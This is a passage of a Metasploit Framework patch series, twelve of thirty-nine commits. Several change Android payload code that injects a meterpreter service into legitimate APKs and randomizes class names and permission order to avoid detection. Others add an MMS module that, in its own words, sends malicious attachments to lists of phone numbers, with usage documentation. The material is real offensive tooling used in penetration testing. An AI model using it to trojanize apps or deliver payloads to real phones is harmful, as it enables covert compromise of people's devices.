From c8816cacb0e74e1d46521adb504769e6674452e5 Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 1 Mar 2017 12:27:12 +0800 Subject: [PATCH 01/39] Remove stageless classname from staged payloads, fixes #8034 --- lib/msf/core/payload/android.rb | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index 6e8294b78a..3e9411028d 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -55,14 +55,7 @@ module Msf::Payload::Android } config = Rex::Payloads::Meterpreter::Config.new(config_opts) - result = config.to_b - - result[0] = "\x01" if opts[:stageless] - result - end - - def string_sub(data, placeholder="", input="") - data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length)) + config.to_b end def sign_jar(jar) @@ -98,14 +91,19 @@ module Msf::Payload::Android end def generate_jar(opts={}) + config = generate_config(opts) if opts[:stageless] classes = MetasploitPayloads.read('android', 'meterpreter.dex') + # Add stageless classname at offset 8000 + config += "\x00" * (8000 - config.size) + config += 'com.metasploit.meterpreter.AndroidMeterpreter' + config[0] = "\x01" else classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') end - config = generate_config(opts) - string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config) + config += "\x00" * (8195 - config.size) + classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config) jar = Rex::Zip::Jar.new files = [ From b273517f9a129adc7fd10dbe6dbcbc6b28fab636 Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 1 Mar 2017 12:46:00 +0800 Subject: [PATCH 02/39] always set first byte to 1 on stageless configs --- lib/msf/core/payload/android.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index 3e9411028d..9b17e68aa2 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -54,8 +54,9 @@ module Msf::Payload::Android transports: opts[:transport_config] || [transport_config(opts)] } - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - config.to_b + config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b + config[0] = "\x01" if opts[:stageless] + config end def sign_jar(jar) @@ -97,7 +98,6 @@ module Msf::Payload::Android # Add stageless classname at offset 8000 config += "\x00" * (8000 - config.size) config += 'com.metasploit.meterpreter.AndroidMeterpreter' - config[0] = "\x01" else classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') end From 063d999a647fb916800f4fadc86319237fc46b35 Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 1 Mar 2017 14:20:31 +0800 Subject: [PATCH 03/39] randomize the payload, service and broadcast receiver names --- lib/msf/core/payload/apk.rb | 29 +++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 087bc4e0e3..d26ecb7262 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -68,7 +68,7 @@ class Msf::Payload::Apk } end - def fix_manifest(tempdir, package) + def fix_manifest(tempdir, package, main_service, main_broadcast_receiver) #Load payload's manifest payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml") payload_permissions = payload_manifest.xpath("//manifest/uses-permission") @@ -82,6 +82,7 @@ class Msf::Payload::Apk name = permission.attribute("name").to_s old_permissions << name end + old_permissions.shuffle application = original_manifest.xpath('//manifest/application') payload_permissions.each do |permission| @@ -100,8 +101,9 @@ class Msf::Payload::Apk application = original_manifest.at_xpath('/manifest/application') receiver = payload_manifest.at_xpath('/manifest/application/receiver') service = payload_manifest.at_xpath('/manifest/application/service') - receiver.attributes["name"].value = package + receiver.attributes["name"].value - service.attributes["name"].value = package + service.attributes["name"].value + receiver.attributes["name"].value = package + '.' + main_broadcast_receiver + receiver.attributes["label"].value = main_broadcast_receiver + service.attributes["name"].value = package + '.' + main_service application << receiver.to_xml application << service.to_xml @@ -212,6 +214,10 @@ class Msf::Payload::Apk package = amanifest.xpath("//manifest").first['package'] package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" + classes = {} + classes['Payload'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize + classes['MainService'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize + classes['MainBroadcastReceiver'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize package_slash = package.gsub(/\./, "/") print_status "Adding payload as package #{package}\n" payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") @@ -221,12 +227,19 @@ class Msf::Payload::Apk # Copy over the payload files, fixing up the smali code payload_files.each do |file_name| smali = File.read(file_name) - newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash) - newfilename = "#{payload_dir}#{File.basename file_name}" - File.open(newfilename, "wb") {|file| file.puts newsmali } + smali_class = File.basename file_name + for oldclass, newclass in classes + if smali_class == "#{oldclass}.smali" + smali_class = "#{newclass}.smali" + end + smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass) + end + smali.gsub!(/com\/metasploit\/stage/, package_slash) + newfilename = "#{payload_dir}#{smali_class}" + File.open(newfilename, "wb") {|file| file.puts smali } end - payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V + payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V ^ + entrypoint hookedsmali = activitysmali.sub(entrypoint, payloadhook) @@ -237,7 +250,7 @@ class Msf::Payload::Apk injected_apk = "#{tempdir}/output.apk" aligned_apk = "#{tempdir}/aligned.apk" print_status "Poisoning the manifest with meterpreter permissions..\n" - fix_manifest(tempdir, package) + fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver']) print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") From ee8b70e0df7d4a089280b97d4be0a1fb936c4e03 Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 1 Mar 2017 14:23:53 +0800 Subject: [PATCH 04/39] fix permission shuffling --- lib/msf/core/payload/apk.rb | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index d26ecb7262..21b44b0968 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -78,23 +78,28 @@ class Msf::Payload::Apk original_permissions = original_manifest.xpath("//manifest/uses-permission") old_permissions = [] + add_permissions = [] + original_permissions.each do |permission| name = permission.attribute("name").to_s old_permissions << name end - old_permissions.shuffle application = original_manifest.xpath('//manifest/application') payload_permissions.each do |permission| name = permission.attribute("name").to_s unless old_permissions.include?(name) - print_status("Adding #{name}") - if original_permissions.empty? - application.before(permission.to_xml) - original_permissions = original_manifest.xpath("//manifest/uses-permission") - else - original_permissions.before(permission.to_xml) - end + add_permissions += [permission.to_xml] + end + end + add_permissions.shuffle! + for permission_xml in add_permissions + print_status("Adding #{permission_xml}") + if original_permissions.empty? + application.before(permission_xml) + original_permissions = original_manifest.xpath("//manifest/uses-permission") + else + original_permissions.before(permission_xml) end end @@ -215,9 +220,9 @@ class Msf::Payload::Apk package = amanifest.xpath("//manifest").first['package'] package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" classes = {} - classes['Payload'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize - classes['MainService'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize - classes['MainBroadcastReceiver'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize + classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize + classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize + classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize package_slash = package.gsub(/\./, "/") print_status "Adding payload as package #{package}\n" payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") From 601131f236eedb8e6489273b9c71dfcf1a9bf79e Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 1 Mar 2017 19:22:42 +0800 Subject: [PATCH 05/39] hook Application class if found --- lib/msf/core/payload/apk.rb | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 21b44b0968..bb7d04ae8b 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -35,9 +35,14 @@ class Msf::Payload::Apk end end - # Find the activity that is opened when you click the app icon - def find_launcher_activity(amanifest) + # Find a suitable smali point to hook + def find_hook_point(amanifest) package = amanifest.xpath("//manifest").first['package'] + application = amanifest.xpath('//application') + application_name = application.attribute("name") + if application_name + return application_name.to_s + end activities = amanifest.xpath("//activity|//activity-alias") for activity in activities activityname = activity.attribute("targetActivity") @@ -117,7 +122,7 @@ class Msf::Payload::Apk def parse_orig_cert_data(orig_apkfile) orig_cert_data = Array[] - keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}") + keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'") owner_line = keytool_output.match(/^Owner:.+/)[0] orig_cert_dname = owner_line.gsub(/^.*:/, '').strip orig_cert_data.push("#{orig_cert_dname}") @@ -192,24 +197,22 @@ class Msf::Payload::Apk amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") print_status "Locating hook point..\n" - launcheractivity = find_launcher_activity(amanifest) - unless launcheractivity - raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n" - end - smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali" + hookable_class = find_hook_point(amanifest) + smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali" smalifiles = Dir.glob(smalifile) for smalifile in smalifiles if File.readable?(smalifile) - activitysmali = File.read(smalifile) + hooksmali = File.read(smalifile) + break end end - unless activitysmali - raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n" + unless hooksmali + raise RuntimeError, "Unable to find hook point in #{smalifile}\n" end entrypoint = 'return-void' - unless activitysmali.include? entrypoint + unless hooksmali.include? entrypoint raise RuntimeError, "Unable to find hookable function in #{smalifile}\n" end @@ -247,7 +250,7 @@ class Msf::Payload::Apk payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V ^ + entrypoint - hookedsmali = activitysmali.sub(entrypoint, payloadhook) + hookedsmali = hooksmali.sub(entrypoint, payloadhook) print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } From d9f5b75dc5e6eb1fa18810d9872a176c33ffe6bd Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Wed, 1 Mar 2017 14:53:49 -0700 Subject: [PATCH 06/39] warn when lhost set to 127.0.0.1 --- lib/msf/ui/console/command_dispatcher/core.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index bb1d2bbc32..48cc87b331 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1541,6 +1541,14 @@ class Core @cache_payloads = nil end + # Raise an alert if LHOST is set to 127.0.0.1 + name = args[0] + ip = args[1] + + if (name.upcase == "LHOST" && ip == "127.0.0.1") + print_error("You may experience errors with this choice of IP.") + end + # If the driver indicates that the value is not valid, bust out. if (driver.on_variable_set(global, name, value) == false) print_error("The value specified for #{name} is not valid.") From f91328b12213a9972ac5fc664754638eab0164a3 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Wed, 1 Mar 2017 15:00:15 -0700 Subject: [PATCH 07/39] modify warning wording --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 48cc87b331..1cc17f6a8f 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1546,7 +1546,7 @@ class Core ip = args[1] if (name.upcase == "LHOST" && ip == "127.0.0.1") - print_error("You may experience errors with this choice of IP.") + print_error("You may experience errors with this choice of address for LHOST.") end # If the driver indicates that the value is not valid, bust out. From 23474dfc70e6369c26ecb60e12c32d105b1e9838 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 2 Mar 2017 09:46:03 -0700 Subject: [PATCH 08/39] change print_error to print_warning --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 1cc17f6a8f..b050ae585a 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1546,7 +1546,7 @@ class Core ip = args[1] if (name.upcase == "LHOST" && ip == "127.0.0.1") - print_error("You may experience errors with this choice of address for LHOST.") + print_warning("You may experience errors with this choice of address for LHOST.") end # If the driver indicates that the value is not valid, bust out. From 27c2795632fc41bdbb75c41cddd3a4411de4f692 Mon Sep 17 00:00:00 2001 From: = <=> Date: Wed, 8 Mar 2017 00:02:50 +0530 Subject: [PATCH 09/39] Issue #7188 resolved along with checking for all loopback addresses. --- lib/msf/core/handler/reverse.rb | 18 +++++++++++++++++- lib/msf/ui/console/command_dispatcher/core.rb | 8 -------- 2 files changed, 17 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 7d9b496c55..f9d093182d 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -48,6 +48,18 @@ module Msf addrs end + #Function to check for loopback addresses + def loopback_addr(addr) + begin + a=IPAddr.new(addr.to_s) + return true if + IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') ==a + rescue + end + false + end + # @return [Integer] def bind_port @@ -82,12 +94,16 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) + #Checking whether LHOST is a loopback address + if loopback_addr(ip) ==true + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") + end + rescue ex = $! print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") else ex = false - via = via_string_for_ip(ip, comm) print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index b050ae585a..bb1d2bbc32 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1541,14 +1541,6 @@ class Core @cache_payloads = nil end - # Raise an alert if LHOST is set to 127.0.0.1 - name = args[0] - ip = args[1] - - if (name.upcase == "LHOST" && ip == "127.0.0.1") - print_warning("You may experience errors with this choice of address for LHOST.") - end - # If the driver indicates that the value is not valid, bust out. if (driver.on_variable_set(global, name, value) == false) print_error("The value specified for #{name} is not valid.") From fae05f2e98485a54af004eee82a78a872eea2155 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 12:34:45 -0600 Subject: [PATCH 10/39] And API to send an MMS message to mobile devices This API allows you to send a malicious attachment to mobile devices. --- lib/msf/core/auxiliary/mixins.rb | 1 + lib/msf/core/auxiliary/mms.rb | 65 ++++++++++++++++++ lib/rex/proto.rb | 1 + lib/rex/proto/mms.rb | 4 ++ lib/rex/proto/mms/client.rb | 87 ++++++++++++++++++++++++ lib/rex/proto/mms/exception.rb | 10 +++ lib/rex/proto/mms/model.rb | 23 +++++++ lib/rex/proto/mms/model/message.rb | 102 +++++++++++++++++++++++++++++ lib/rex/proto/mms/model/smtp.rb | 64 ++++++++++++++++++ 9 files changed, 357 insertions(+) create mode 100644 lib/msf/core/auxiliary/mms.rb create mode 100644 lib/rex/proto/mms.rb create mode 100644 lib/rex/proto/mms/client.rb create mode 100644 lib/rex/proto/mms/exception.rb create mode 100644 lib/rex/proto/mms/model.rb create mode 100644 lib/rex/proto/mms/model/message.rb create mode 100644 lib/rex/proto/mms/model/smtp.rb diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 46372750ea..3f244890c1 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -28,3 +28,4 @@ require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/redis' +require 'msf/core/auxiliary/mms' diff --git a/lib/msf/core/auxiliary/mms.rb b/lib/msf/core/auxiliary/mms.rb new file mode 100644 index 0000000000..2a6af81696 --- /dev/null +++ b/lib/msf/core/auxiliary/mms.rb @@ -0,0 +1,65 @@ +# -*- coding: binary -*- + +### +# +# The Msf::Auxiliary::Mms mixin allows you to send a text message +# including a media file. +# +## + +module Msf + module Auxiliary::Mms + + def initialize(info={}) + super + + register_options( + [ + OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']), + OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']), + OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]), + OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']), + OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']), + OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]), + OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']), + OptString.new('TEXTMESSAGE', [true, 'The text message to send']), + OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']), + OptString.new('MMSFILECTYPE', [false, 'The attachment content type']) + ], Auxiliary::Mms) + + register_advanced_options( + [ + OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]), + OptString.new('HeloDdomain', [false, 'The domain to use for HELO', '']) + ], Auxiliary::Mms) + end + + + # Sends an MMS message to multiple numbers of the same service provider (carrier). + # + # @example This sends a text (including an attachment) via Gmail + # smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass) + # mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp) + # mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg') + # + # @param phone_numbers [Array] An array of numbers of try (of the same carrier) + # @param message [String] The text to send. + # + # @return [void] + def send_mms(phone_numbers, message, attachment_path=nil, ctype=nil) + smtp = Rex::Proto::Mms::Model::Smtp.new( + address: datastore['SMTPADDRESS'], + port: datastore['SMTPPORT'], + username: datastore['SMTPUSERNAME'], + password: datastore['SMTPPASSWORD'], + login_type: datastore['SmtpLoginType'].to_sym, + from: datastore['SMTPFROM'] + ) + + carrier = datastore['MMSCARRIER'].to_sym + mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp) + mms.send_mms_to_phones(phone_numbers, message, attachment_path, ctype) + end + + end +end diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index 8696fcd5ea..ff03689b28 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -7,6 +7,7 @@ require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' require 'rex/proto/rmi' +require 'rex/proto/mms' module Rex module Proto diff --git a/lib/rex/proto/mms.rb b/lib/rex/proto/mms.rb new file mode 100644 index 0000000000..c797510d36 --- /dev/null +++ b/lib/rex/proto/mms.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- + +require 'rex/proto/mms/exception' +require 'rex/proto/mms/model' diff --git a/lib/rex/proto/mms/client.rb b/lib/rex/proto/mms/client.rb new file mode 100644 index 0000000000..015e2cde91 --- /dev/null +++ b/lib/rex/proto/mms/client.rb @@ -0,0 +1,87 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + class Client + + # @!attribute carrier + # @return [Symbol] The service provider for the phone numbers. + attr_accessor :carrier + + # @!attribute smtp_server + # @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings. + attr_accessor :smtp_server + + + # Initializes the Client object. + # + # @param [Hash] opts + # @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS) + # @option opts [Rex::Proto::mms::Model::Smtp] SMTP object + # + # @return [Rex::Proto::Mms::Client] + def initialize(opts={}) + self.carrier = opts[:carrier] + self.smtp_server = opts[:smtp_server] + + validate_carrier! + end + + + # Sends a media text to multiple recipients. + # + # @param phone_numbers [Array] An array of phone numbers. + # @param message [String] The message to send. + # @param attachment_path [String] (Optional) The attachment to include + # @param ctype [String] (Optional) The content type to use for the attachment + # + # @return [void] + def send_mms_to_phones(phone_numbers, message, attachment_path=nil, ctype=nil) + carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier] + recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } + address = self.smtp_server.address + port = self.smtp_server.port + username = self.smtp_server.username + password = self.smtp_server.password + helo_domain = self.smtp_server.helo_domain + login_type = self.smtp_server.login_type + from = self.smtp_server.from + + smtp = Net::SMTP.new(address, port) + + begin + smtp.enable_starttls_auto + smtp.start(helo_domain, username, password, login_type) do + recipients.each do |r| + mms_message = Rex::Proto::Mms::Model::Message.new( + message: message, + content_type: ctype, + attachment_path: attachment_path, + from: from, + to: r + ) + smtp.send_message(mms_message.to_s, from, r) + end + end + rescue Net::SMTPAuthenticationError => e + raise Rex::Proto::Mms::Exception, e.message + ensure + smtp.finish if smtp && smtp.started? + end + end + + + # Validates the carrier parameter. + # + # @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used. + def validate_carrier! + unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier) + raise Rex::Proto::Mms::Exception, 'Invalid carrier.' + end + end + + end + end + end +end diff --git a/lib/rex/proto/mms/exception.rb b/lib/rex/proto/mms/exception.rb new file mode 100644 index 0000000000..dda5e72d81 --- /dev/null +++ b/lib/rex/proto/mms/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + class Exception < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/mms/model.rb b/lib/rex/proto/mms/model.rb new file mode 100644 index 0000000000..2a61587182 --- /dev/null +++ b/lib/rex/proto/mms/model.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + + GATEWAYS = { + att:'mms.att.net', # AT&T Wireless + sprint: 'pm.sprint.com', # Sprint + tmobile: 'tmomail.net', # T-Mobile + verizon: 'vzwpix.com' # Verizon + } + + end + end + end +end + +require 'net/smtp' +require 'rex/proto/mms/model/smtp' +require 'rex/proto/mms/model/message' +require 'rex/proto/mms/client' diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb new file mode 100644 index 0000000000..365d55ea8f --- /dev/null +++ b/lib/rex/proto/mms/model/message.rb @@ -0,0 +1,102 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + class Message + + # @!attribute message + # @return [String] The text message + attr_accessor :message + + # @!attribute content_type + # @return [Fixnum] The content type of the attachment + attr_accessor :content_type + + # @!attribute attachment + # @return [String] The loaded attachment converted to Base64 + attr_accessor :attachment + + # @!attribute from + # @return [String] The from field in the email + attr_accessor :from + + # @!attribute to + # @return [String] The to field in the email + attr_accessor :to + + # @!attribute attachment_name + # @return [String] The attachment base name extracted from :attachment + attr_accessor :attachment_name + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :from + # @option opts [String] :to + # @option opts [String] :message + # @option opts [String] :content_type + # @option opts [String] :attachment_path + # + # @return [Rex::Proto::Mms::Model::Message] + def initialize(opts={}) + self.from = opts[:from] + self.to = opts[:to] + self.message = opts[:message] + self.content_type = opts[:content_type] + if opts[:attachment_path] + self.attachment = load_file_to_base64(opts[:attachment_path]) + self.attachment_name = File.basename(opts[:attachment_path]) + end + end + + + # Returns the raw MMS message + # + # @return [String] + def to_s + generate_mms_message + end + + + private + + + # Returns the loaded file in Base64 format + # + # @return [String] Base64 data + def load_file_to_base64(path) + buf = File.read(path) + Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n" + end + + + # Returns the raw MMS message + # + # @return [String] + def generate_mms_message + text = Rex::MIME::Message.new + text.add_part(self.message, 'text/plain; charset=UTF-8', nil) + body = Rex::MIME::Message.new + body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil) + if self.attachment + body.add_part(self.attachment, "image/jpeg; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"") + end + + mms = "MIME-Version: 1.0\n" + mms << "From: #{self.from}\n" + mms << "To: #{self.to}\n" + mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n" + mms << "\n" + mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_") + + mms + end + + end + end + end + end +end diff --git a/lib/rex/proto/mms/model/smtp.rb b/lib/rex/proto/mms/model/smtp.rb new file mode 100644 index 0000000000..994315db32 --- /dev/null +++ b/lib/rex/proto/mms/model/smtp.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + class Smtp + + # @!attribute address + # @return [String] SMTP address + attr_accessor :address + + # @!attribute port + # @return [Fixnum] SMTP port + attr_accessor :port + + # @!attribute username + # @return [String] SMTP account/username + attr_accessor :username + + # @!attribute password + # @return [String] SMTP password + attr_accessor :password + + # @!attribute login_type + # @return [Symbol] SMTP login type (:login, :plain, and :cram_md5) + attr_accessor :login_type + + # @!attribute from + # @return [String] Sender + attr_accessor :from + + # @!attribute helo_domain + # @return [String] The domain to use for the HELO SMTP message + attr_accessor :helo_domain + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :address + # @option opts [Fixnum] :port + # @option opts [String] :username + # @option opts [String] :password + # @option opts [String] :helo_domain + # @option opts [Symbol] :login_type + # @option opts [String] :from + # + # @return [Rex::Proto::Mms::Model::Smtp] + def initialize(opts={}) + self.address = opts[:address] + self.port = opts[:port] || 25 + self.username = opts[:username] + self.password = opts[:password] + self.helo_domain = opts[:helo_domain] || 'localhost' + self.login_type = opts[:login_type] || :login + self.from = opts[:from] || '' + end + + end + end + end + end +end From fbde0d18f22169d00f9bba74b5730c23dc182014 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 12:53:17 -0600 Subject: [PATCH 11/39] Add auxiliary/client/mms/send_mms --- modules/auxiliary/client/mms/send_mms.rb | 35 ++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 modules/auxiliary/client/mms/send_mms.rb diff --git a/modules/auxiliary/client/mms/send_mms.rb b/modules/auxiliary/client/mms/send_mms.rb new file mode 100644 index 0000000000..3fd64eb896 --- /dev/null +++ b/modules/auxiliary/client/mms/send_mms.rb @@ -0,0 +1,35 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Mms + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MMS Client', + 'Description' => %q{ + This module sends an MMS message to multiple phones of the same carrier. + You can use it to send a malicious attachment to phones. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + end + + def run + phone_numbers = datastore['CELLNUMBERS'].split + print_status("Sending mms message to #{phone_numbers.length} number(s)...") + begin + res = send_mms(phone_numbers, datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE']) + print_status("Done.") + rescue Rex::Proto::Mms::Exception => e + print_error(e.message) + end + end + +end From d32f08f969900c37568409ea8bf9ed7eda84b825 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 14:40:37 -0600 Subject: [PATCH 12/39] Add doc and fix mms message class --- .../modules/auxiliary/client/mms/send_mms.md | 144 ++++++++++++++++++ lib/rex/proto/mms/model/message.rb | 2 +- 2 files changed, 145 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/auxiliary/client/mms/send_mms.md diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md new file mode 100644 index 0000000000..c803b2206a --- /dev/null +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -0,0 +1,144 @@ +The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a +collection of phone numbers of the same carrier. + +In order to use this module, you must set up your own SMTP server to deliver messages. Popular +mail services such as Gmail, Yahoo, Live should work fine. + +## Module Options + +**CELLNUMBERS** + +The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target +against multiple phone numbers, ideally you want to create the list in a text file (one number per +line), and then load the CELLNUMBERS option like this: + +``` +set CELLNUMBERS file:///tmp/att_phone_numbers.txt +``` + +Remember that these phone numbers must be the same carrier. + +**MMSCARRIER** + +The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about +supported carriers. + +**TEXTMESSAGE** + +The text message you want to send. For example, this will send a text with a link to google: + +``` +set TEXTMESSAGE "Hi, please go: google.com" +``` + +The link should automatically be parsed on the phone and clickable. + +**MMSFILE** + +The attachment to send in the message. + +**MMSFILECTYPE** + +The content type to use for the attachment. Commonly supported ones include: + +* audio/midi 